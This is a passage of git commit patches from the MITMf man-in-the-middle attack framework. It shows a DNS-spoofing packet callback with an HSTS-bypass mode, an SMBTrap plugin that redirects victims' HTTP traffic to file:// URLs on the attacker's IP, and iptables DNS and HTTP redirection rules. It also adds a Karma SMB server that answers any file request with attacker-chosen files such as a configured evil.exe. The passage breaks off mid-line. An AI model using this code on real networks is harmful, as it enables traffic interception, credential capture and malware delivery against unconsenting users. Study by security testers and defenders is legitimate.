resolve_domain(self, domain): - try: - mitmf_logger.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - mitmf_logger.info("Error resolving " + domain) - - def callback(self, payload): - try: - #mitmf_logger.debug(payload) - pkt = IP(payload.get_payload()) - - if not pkt.haslayer(DNSQR): - payload.accept() - return - - if pkt.haslayer(DNSQR): - mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - return - - payload.accept() - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() - - except Exception, e: - print "Exception occurred in nfqueue callback: " + str(e) - - def modify_dns(self, payload, pkt, ip): - try: - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file diff --git a/core/protocols/dns/__init__.py b/core/servers/__init__.py similarity index 100% rename from core/protocols/dns/__init__.py rename to core/servers/__init__.py diff --git a/core/dnschef/CHANGELOG b/core/servers/dns/CHANGELOG similarity index 100% rename from core/dnschef/CHANGELOG rename to core/servers/dns/CHANGELOG diff --git a/core/dnschef/DNSchef.py b/core/servers/dns/DNSchef.py similarity index 100% rename from core/dnschef/DNSchef.py rename to core/servers/dns/DNSchef.py diff --git a/core/dnschef/LICENSE b/core/servers/dns/LICENSE similarity index 100% rename from core/dnschef/LICENSE rename to core/servers/dns/LICENSE diff --git a/core/dnschef/README.md b/core/servers/dns/README.md similarity index 100% rename from core/dnschef/README.md rename to core/servers/dns/README.md diff --git a/core/protocols/icmp/__init__.py b/core/servers/dns/__init__.py similarity index 100% rename from core/protocols/icmp/__init__.py rename to core/servers/dns/__init__.py diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py new file mode 100644 index 0000000..ce3ba9a --- /dev/null +++ b/core/servers/http/HTTPServer.py @@ -0,0 +1,21 @@ +import tornado.ioloop +import tornado.web +import threading + +class HTTPServer: + + _instance = None + application = tornado.web.Application([]) + + @staticmethod + def getInstance(): + if HTTPServer._instance == None: + HTTPServer._instance = HTTPServer() + + return HTTPServer._instance + + def start(self, port=80): + self.application.listen(port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) + t.setDaemon(True) + t.start() diff --git a/core/protocols/smb/__init__.py b/core/servers/http/__init__.py similarity index 100% rename from core/protocols/smb/__init__.py rename to core/servers/http/__init__.py diff --git a/core/protocols/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py similarity index 100% rename from core/protocols/smb/SMBPackets.py rename to core/servers/smb/SMBPackets.py diff --git a/core/protocols/smb/SMBServer_Responder.py b/core/servers/smb/SMBServer_Responder.py similarity index 100% rename from core/protocols/smb/SMBServer_Responder.py rename to core/servers/smb/SMBServer_Responder.py diff --git a/core/protocols/smb/SMBserver.py b/core/servers/smb/SMBserver.py similarity index 100% rename from core/protocols/smb/SMBserver.py rename to core/servers/smb/SMBserver.py diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/mitmf.py b/mitmf.py index 6e21431..af53f6f 100755 --- a/mitmf.py +++ b/mitmf.py @@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) +#Start the HTTP Server +from core.servers.http.HTTPServer import HTTPServer +HTTPServer.getInstance().start() +print "|_ HTTPserver online" + #Start the SMB server -from core.protocols.smb.SMBserver import SMBserver +from core.servers.smb.SMBserver import SMBserver print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index d3753ac..2acda8c 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -24,7 +24,7 @@ import logging from plugins.plugin import Plugin from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef class HSTSbypass(Plugin): name = 'SSLstrip+' diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4727fe5..02fcda9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -19,11 +19,11 @@ # from core.utils import SystemConfig, IpTables, shutdown -from core.protocols.arp.ARPpoisoner import ARPpoisoner -from core.protocols.arp.ARPWatch import ARPWatch -from core.dnschef.DNSchef import DNSChef -from core.protocols.dhcp.DHCPServer import DHCPServer -from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner +from core.poisoners.arp.ARPpoisoner import ARPpoisoner +from core.poisoners.arp.ARPWatch import ARPWatch +from core.servers.dns.DNSchef import DNSChef +from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner +from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin from scapy.all import * diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py new file mode 100644 index 0000000..cd470d5 --- /dev/null +++ b/plugins/TestPlugin.py @@ -0,0 +1,18 @@ +from plugins.plugin import Plugin +from core.servers.http.HTTPServer import HTTPServer +import tornado.web + +class TestPlugin(Plugin): + name = "testplugin" + optname = "test" + desc = "Plugin to test dynamically configuring the internal web server" + version = "0.1" + has_opts = False + + def initialize(self, options): + HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) + +class MainHandler(tornado.web.RequestHandler): + def get(self): + print self.request + self.write("Hello World!") diff --git a/requirements.txt b/requirements.txt index 1df0c6a..05433f1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,4 +13,5 @@ service_identity watchdog impacket capstone +tornado pypcap \ No newline at end of file From 8b915064c14d8d36b064d5916d8aa769fa84dbb2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 20 May 2015 14:35:03 +0200 Subject: [PATCH 182/323] fixed wrong var name in beefautorun --- plugins/BeefAutorun.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 0f4bad9..6847217 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -43,7 +43,7 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) self.onConfigChange() def onConfigChange(self): From 840e202e5bd31e918c5eab3d6114be6071112171 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 22 May 2015 20:16:47 +0200 Subject: [PATCH 183/323] handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message added the SMBTrap plugin --- core/sergioproxy/ProxyPlugins.py | 2 +- core/servers/http/HTTPServer.py | 3 +++ core/sslstrip/ServerConnection.py | 1 + plugins/SMBTrap.py | 23 +++++++++++++++++++++++ plugins/TestPlugin.py | 2 +- plugins/plugin.py | 7 +++++++ 6 files changed, 36 insertions(+), 2 deletions(-) create mode 100644 plugins/SMBTrap.py diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index d9175a3..35d037d 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -44,7 +44,7 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} pmthds = {} @staticmethod diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index ce3ba9a..9cb9043 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -14,6 +14,9 @@ class HTTPServer: return HTTPServer._instance + def addHandler(self, urlregex, handler, vhost=''): + self.application.add_handlers(vhost, [(urlregex, handler)]) + def start(self, port=80): self.application.listen(port) t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 74868f4..65503d1 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -120,6 +120,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): + version, code, message = self.plugins.hook() mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py new file mode 100644 index 0000000..7110140 --- /dev/null +++ b/plugins/SMBTrap.py @@ -0,0 +1,23 @@ +import logging +import random +import string +from plugins.plugin import Plugin +from core.utils import SystemConfig + +mitmf_logger = logging.getLogger("mitmf") + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + has_opts = False + + def initialize(self, options): + self.ourip = SystemConfig.getIP(options.interface) + + def serverResponseStatus(self, request, version, code, message): + return (version, 302, "Found") + + def serverHeaders(self, response, request): + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index cd470d5..4fd212c 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -10,7 +10,7 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) + HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) class MainHandler(tornado.web.RequestHandler): def get(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index 0d5a324..1d9b82b 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object): optname = "generic" tree_info = list() desc = "" + version = "0.0" has_opts = False def initialize(self, options): @@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object): ''' pass + def serverResponseStatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return (version, code, message) + def serverResponse(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) From e985d42a8aca02417739edd0b40337520e44abe6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 23 May 2015 00:37:08 +0200 Subject: [PATCH 184/323] The new changes caused an exception when unpacking the tuple, fixed it --- core/sergioproxy/ProxyPlugins.py | 7 ++++++- core/sslstrip/ServerConnection.py | 6 +++++- plugins/SMBTrap.py | 1 + 3 files changed, 12 insertions(+), 2 deletions(-) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 35d037d..4a8a509 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -44,7 +44,12 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade": "clientRequest", + "handleStatus": "serverResponseStatus", + "handleResponse": "serverResponse", + "handleHeader": "serverHeaders", + "handleEndHeaders":"serverHeaders"} + pmthds = {} @staticmethod diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 65503d1..0126675 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -120,7 +120,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - version, code, message = self.plugins.hook() + try: + version, code, message = self.plugins.hook() + except ValueError: + pass + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 7110140..157c1d5 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -20,4 +20,5 @@ class SMBTrap(Plugin): return (version, 302, "Found") def serverHeaders(self, response, request): + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file From f86457b300462ac23b067bcc6e78097048113521 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 27 May 2015 22:02:41 +0200 Subject: [PATCH 185/323] fixes #96 --- core/utils.py | 6 +++--- plugins/Spoof.py | 7 +------ 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/core/utils.py b/core/utils.py index 9aa8898..a12c3a5 100644 --- a/core/utils.py +++ b/core/utils.py @@ -90,9 +90,9 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True class Banners: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4727fe5..24b4f78 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -48,8 +48,6 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False - if options.log_level == 'debug': - debug = True if options.arp: @@ -98,9 +96,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +104,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) From 87cb98b6acdaca006dd7623b5a32590ab03954f7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 28 May 2015 13:49:40 +0200 Subject: [PATCH 186/323] fixes 98 --- plugins/SSLstrip+.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index d3753ac..958707d 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -41,7 +41,7 @@ class HSTSbypass(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() From 14580f1589e3b9d455741db424cb16b3c8e67797 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 30 May 2015 15:00:41 +0200 Subject: [PATCH 187/323] second implementation of the HTTP server, you can now define shares for the SMB server in the config file, added an option to switch between the normal SMB server and the Karma version. removed some useless code (left over from the responder plugin), serverResponseStatus hook now returns a dict (tuple was causing errors) --- config/mitmf.conf | 81 +++- core/servers/http/HTTPServer.py | 64 ++- core/servers/smb/KarmaSMB.py | 583 ++++++++++++++++++++++++ core/servers/smb/SMBPackets.py | 475 ------------------- core/servers/smb/SMBServer_Responder.py | 333 -------------- core/servers/smb/SMBserver.py | 126 ++--- core/sslstrip/ServerConnection.py | 17 +- core/utils.py | 16 +- mitmf.py | 6 +- plugins/SMBTrap.py | 2 +- plugins/SSLstrip+.py | 4 +- plugins/Spoof.py | 7 +- plugins/TestPlugin.py | 10 +- plugins/plugin.py | 2 +- 14 files changed, 806 insertions(+), 920 deletions(-) create mode 100644 core/servers/smb/KarmaSMB.py delete mode 100644 core/servers/smb/SMBPackets.py delete mode 100644 core/servers/smb/SMBServer_Responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..48b60f7 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -1,16 +1,10 @@ # -#MITMf configuration file +# MITMf configuration file # [MITMf] - # - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` - #(assuming you config file is in the default directory) - # - args='' - - #Required BeEF and Metasploit options + # Required BeEF and Metasploit options [[BeEF]] beefip = 127.0.0.1 beefport = 3000 @@ -19,37 +13,86 @@ [[Metasploit]] - msfport = 8080 #Port to start Metasploit's webserver on that will host exploits + msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcpass = abc123 [[SMB]] # - #Here you can configure MITMf's internal SMB server + # Here you can configure MITMf's internal SMB server # - #Set a custom challenge + port = 445 + type = karma # Can be set to Normal or Karma + + # Set a custom challenge Challenge = 1122334455667788 + [[[Shares]]] # Only parsed if type = Normal + + # + # You can define shares here + # + + # [[[[Share1]]]] #Share name + # readonly = yes #Be very careful if you set this to no! + # path = /tmp #Share path + + # [[[[Share2]]]] + # readonly = yes + # path = /tmp + + [[[Karma]]] # Only parsed if type = Karma + + # + # Here you can configure the Karma-SMB server + # + + defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) + + # exe = /tmp/evil.exe + # dll = /tmp/evil.dll + # ini = /tmp/desktop.ini + # bat = /tmp/evil.bat + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # + + port = 80 + + [[[Paths]]] + + # + # Here you can define the content to deliver + # + + # Format is urlpath = filesystem path (urlpath can be a regular expression) + + # ".*" = "/var/www" + # "/test" = "/var/www2" + [[DNS]] # - #Here you can configure MITMf's internal DNS server + # Here you can configure MITMf's internal DNS server # - tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) - port = 53 #Port to listen on - ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) # - #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 # nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.0.2.1 + *.thesprawls.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -85,7 +128,7 @@ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= # -#Plugin configuration starts here +# Plugin configuration starts here # [Spoof] diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index 9cb9043..054975e 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -1,11 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys import tornado.ioloop import tornado.web import threading -class HTTPServer: +from core.configwatcher import ConfigWatcher + +tornado_logger = logging.getLogger("tornado") +tornado_logger.propagate = False +formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +fileHandler = logging.FileHandler("./logs/mitmf.log") +streamHandler = logging.StreamHandler(sys.stdout) +fileHandler.setFormatter(formatter) +streamHandler.setFormatter(formatter) +tornado_logger.addHandler(fileHandler) +tornado_logger.addHandler(streamHandler) + +class HTTPServer(ConfigWatcher): _instance = None application = tornado.web.Application([]) + http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) @staticmethod def getInstance(): @@ -17,8 +52,31 @@ class HTTPServer: def addHandler(self, urlregex, handler, vhost=''): self.application.add_handlers(vhost, [(urlregex, handler)]) - def start(self, port=80): - self.application.listen(port) + def addStaticPathHandler(self, urlregex, path, vhost=''): + self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) + + def resetApplication(self): + self.application = tornado.web.Application([]) + + def parseConfig(self): + for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): + self.addStaticPathHandler(url, path) + + def onConfigChange(self): + self.resetApplication() + self.parseConfig() + + def start(self): + self.parseConfig() + self.application.listen(self.http_port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) t.setDaemon(True) t.start() + +class HTTPHandler(tornado.web.RequestHandler): + def get(self): + raise HTTPError(405) + + def post(self): + raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py new file mode 100644 index 0000000..3c7cd59 --- /dev/null +++ b/core/servers/smb/KarmaSMB.py @@ -0,0 +1,583 @@ +#!/usr/bin/python +# Copyright (c) 2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Karma SMB +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# Description: +# The idea of this script is to answer any file read request +# with a set of predefined contents based on the extension +# asked, regardless of the sharename and/or path. +# When executing this script w/o a config file the pathname +# file contents will be sent for every request. +# If a config file is specified, format should be this way: +# = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + +import sys +import os +import argparse +import logging +import ntpath +import ConfigParser + +from impacket import LOG as logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + +class KarmaSMBServer(): + def __init__(self, smb_challenge, smb_port, smb2Support = False): + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WONT (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = STATUS_SUCCESS + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = 